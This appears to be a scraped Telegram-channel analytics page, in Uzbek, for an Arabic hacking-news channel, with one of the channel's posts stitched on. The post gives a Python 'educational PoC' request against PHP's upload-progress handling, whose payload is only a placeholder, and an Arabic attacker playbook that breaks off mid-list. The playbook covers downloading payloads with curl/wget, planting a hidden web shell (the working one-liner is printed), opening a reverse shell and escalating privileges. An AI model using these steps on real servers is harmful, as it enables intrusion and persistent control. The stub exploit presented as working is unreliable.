Hacker News
المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين صفحتنا الأولى https://www.facebook.com/HackerNews2
Ko'proq ko'rsatish📈 Telegram kanali Hacker News analitikasi
Hacker News (@hackernewsar) Arab til segmentidagi kanali faol ishtirokchi. Hozirda hamjamiyat 13 599 obunachidan iborat bo'lib, Texnologiyalar & Aralashmalar toifasida 9 366-o'rinni va Saudiya Arabistoni mintaqasida 5 615-o'rinni egallagan.
📊 Auditoriya ko‘rsatkichlari va dinamika
невідомо sanasidan buyon loyiha tez o‘sib, 13 599 obunachiga ega bo‘ldi.
26 Oktabr, 2026 dagi oxirgi ma’lumotlarga ko‘ra kanal barqaror faollikka ega. Oxirgi 30 kunda obunachilar soni 317 ga, so‘nggi 24 soatda esa -1 ga o‘zgardi va umumiy qamrov yuqori darajada qolmoqda.
- Tasdiqlash holati: Tasdiqlanmagan
- Jalb etish (ER): Auditoriya o‘rtacha 11.36% darajada jalb etiladi. Nashrdan keyingi dastlabki 24 soatda kontent odatda umumiy obunachilar sonining 5.30% ini tashkil etuvchi reaksiyalarni to‘playdi.
- Post qamrovi: Har bir post o‘rtacha 1 545 marta ko‘riladi; birinchi sutkada odatda 721 ta ko‘rish yig‘iladi.
- Reaksiyalar va o‘zaro ta’sir: Auditoriya faol: har bir postga o‘rtacha 14 ta reaksiya keladi.
- Tematik yo‘nalishlar: Kontent نِظَام, شَرِكَة, اِختِرَاق, مَجمُوعَة, بَيَان kabi asosiy mavzularga jamlangan.
📝 Tavsif va kontent siyosati
Muallif resursni shaxsiy fikrni ifoda etish maydoni sifatida ta’riflaydi:
“المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين
صفحتنا الأولى https://www.facebook.com/HackerNews2”
Yuqori yangilanish chastotasi (oxirgi ma’lumot 27 Oktabr, 2026 da olingan) sababli kanal doimo dolzarb va katta qamrovli bo‘lib qoladi. Analitika auditoriya kontent bilan faol hamkorlik qilishini, uni Texnologiyalar & Aralashmalar toifasidagi muhim ta’sir nuqtasiga aylantirishini ko‘rsatadi.
import http.client
def send_php2shell_educational_poc(host, port, path):
# إعداد الحدود العشوائية لطلب multipart لرفع الملفات
BOUNDARY = "----WebKitFormBoundaryPHP2Shell"
# صياغة محتوى الطلب الذي يستهدف ميزة تتبع رفع الملفات في PHP
body = (
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
f"exploit_trigger\r\n"
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="rawkey"; filename="payload.txt"\r\n'
f"Content-Type: text/plain\r\n\r\n"
f"Conceptual_Data_Padding_Here\r\n"
f"--{BOUNDARY}--\r\n"
)
# إرسال طلب POST الفردي غير المصادق عليه مباشرة إلى الخادم المستهدف
conn = http.client.HTTPConnection(host, port, timeout=10)
headers = {
"Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
"Content-Length": str(len(body)),
"Cookie": "PHPSESSID=test_session_id"
}
conn.request("POST", path, body=body, headers=headers)
response = conn.getresponse()
print(f"[-] Status Received: {response.status}")
بمجرد أن ينجح المهاجم في إرسال طلب الويب الخبيث وإحداث خلل الذاكرة (Memory Corruption) المطلوب، تبدأ مرحلة التثبيت والسيطرة الفعلية. الطلب الأول يفتح الثغرة فقط، لكن الخطوات التي تليها مباشرة تهدف إلى تحويل هذا الاختراق العابر إلى وجود دائم ومخفي داخل السيرفر.
إليكم الخطوات المتتالية التي يتخذها المهاجم فوراً بعد نجاح ثغرة الذاكرة:
1. تشغيل الـ Payload الأولي (Execution Stage)
عندما ينهار محرك PHP داخلياً بسبب نفاد الذاكرة أو بقاء الحالة العالمية، يجبر المهاجم المعالج على القفز إلى العناوين البرمجية التي تحتوي على الكود الخاص به (Payload). غالباً ما يكون هذا الكود عبارة عن أمر نظام (System Command) بسيط مثل:
• على أنظمة لينكس: تشغيل أمر تحميل برمجيات أوسع عبر curl أو wget.
• على أنظمة ويندوز: تشغيل أمر عبر powershell أو cmd.
2. زرع "الباب الخلفي" المُلتحم بالويب (Dropping a Web Shell)
بما أن استغلال ثغرة الذاكرة معقد وقد لا ينجح في كل مرة، فإن أول هدف للمهاجم هو زرع ملف برميجي دائم (Web Shell) داخل مجلدات الموقع العامة (مثل مجلد الصور أو ملفات رفع المستخدمين).
• يقوم المهاجم بكتابة ملف خفي (مثلاً: image_thumb.php أو .system.php) يحتوي على سطر برمجي بسيط يتيح له التحكم بالسيرفر عبر المتصفح لاحقاً دون الحاجة لإعادة استغلال الثغرة، مثل:
<?php system($_GET['cmd']); ?>
3. إنشاء اتصال عكسي للمخترق (Reverse Shell)
لأن فتح الملفات عبر المتصفح قد تكتشفه جدران الحماية، يفضل المهاجمون المحترفون إنشاء اتصال عكسي. يقوم الخادم المخترَق (الموقع الحكومي أو الخاص) بفتح اتصال خارجي صادر (Outbound) والاتصال بجهاز المهاجم مباشرة.
• تكمن خطورة هذه الخطوة في أن معظم جدران الحماية للشركات تمنع الاتصالات الواردة (Inbound) لكنها تسمح بالاتصالات الصادرة من السيرفر إلى الإنترنت، مما يمنح المهاجم شاشة تحكم كاملة بـ الـ Terminal الخاص بالسيرفر.
4. فحص الصلاحيات ومحاولة الارتقاء بها (Privilege Escalation)
في الوضع الطبيعي، تعمل لغة PHP تحت صلاحيات مستخدم محدود جداً على السيرفر (مثل www-data أو apache).